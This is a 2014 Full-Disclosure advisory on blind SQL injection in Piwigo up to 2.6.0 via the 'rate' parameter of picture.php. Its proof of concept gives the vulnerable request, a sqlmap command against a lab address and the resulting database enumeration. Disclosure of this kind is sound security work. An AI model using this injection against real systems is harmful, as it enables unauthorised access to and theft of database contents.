full-disclosure - [FD] Piwigo <= v2.6.0

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Message-ID: <CAOK5wbA49qBynYk3hpF_=FDRAhZ31qurUxrWozUCU5oUac0Hvw@mail.gmail.com>
Date: Wed, 12 Nov 2014 09:56:22 +0100
From: Manuel Garcia Cardenas <advidsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Piwigo <= v2.6.0 - Blind SQL Injection

=============================================
MGC ALERT 2014-001
- Original release date: January 12, 2014
- Last revised:  November 12, 2014
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in Piwigo <= v2.6.0

II. BACKGROUND
-------------------------
Piwigo is a web application management photo albums, available under the
License GPL. Is written in PHP and requires a MySQL, PostgreSQL or SQLite
data.

III. DESCRIPTION
-------------------------
This bug was found using the portal without authentication. To exploit the
vulnerability only is needed use the version 1.0 of the HTTP protocol to
interact with the application. It is possible to inject SQL code in the
variable "rate" on the page "picture.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)

Exploiting with SQLMap:

python sqlmap.py -u "
http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate" --data
"rate=1" --dbs

[16:32:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[16:32:25] [INFO] fetching database names
[16:32:25] [INFO] fetching number of databases
[16:32:25] [INFO] resumed: 4
[16:32:25] [INFO] resumed: information_schema
[16:32:25] [INFO] resumed: mysql
[16:32:25] [INFO] resumed: phpmyadmin
[16:32:25] [INFO] resumed: piwigo
available databases [4]:
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] piwigo

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Piwigo <= v2.6.0

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.

VIII. REFERENCES
-------------------------
http://www.piwigo.org

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 21, 2014 1: Initial release

XI. DISCLOSURE TIMELINE
-------------------------
January 21, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
November 12, 2014 2: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester

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